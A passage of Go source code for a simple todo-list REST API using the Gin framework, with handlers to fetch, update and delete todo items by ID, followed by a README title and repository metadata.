context.JSON(http.StatusOK, todoList)
}
func GetTodoById(context *gin.Context) {
todo, err := db.GetTodoById(context.Param("id"))
if err != nil {
appGin := &model.Gin{C: context}
appGin.ResponseFromError(err)
return
}
context.JSON(http.StatusOK, todo)
}
func UpdateTodo(context *gin.Context) {
appGin := &model.Gin{C: context}
var todoId int
var err error
if todoId, err = strconv.Atoi(context.Param("id")); err != nil {
appGin.ToErrorResponse(http.StatusBadRequest, "Invalid todo id", err)
return
}
var todoRequest model.TodoRequest
if err = context.Bind(&todoRequest); err != nil {
appGin.ToErrorResponse(http.StatusBadRequest, "Invalid request body!", err)
return
}
id, err := db.UpdateTodo(todoId, todoRequest)
if err != nil {
appGin.ResponseFromError(err)
return
}
context.JSON(http.StatusOK, gin.H{"id": id, "message": "Todo item updated successfully!"})
}
func DeleteTodo(context *gin.Context) {
appGin := &model.Gin{C: context}
todoId, err := strconv.Atoi(context.Param("id"))
if err != nil {
appGin.ToErrorResponse(http.StatusBadRequest, "Invalid todo id", err)
return
}
if err = db.DeleteTodo(todoId); err != nil {
appGin.ResponseFromError(err)
return
}
context.JSON(http.StatusOK, gin.H{"message": "Todo item was deleted!"})
}
<file_sep># go-02-todo
| 00f053416b8eea1d3661d265627e4149624fda35 | [
"Markdown",
"Go Module",
"Go"
] | 9 | Go | nguyendinhtrieu/go-02-todo | 241d8253e45666733f1cbb52c5fd82f4b882513f | 917ce734524e8e225fc0e536e365ab96a967525d |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.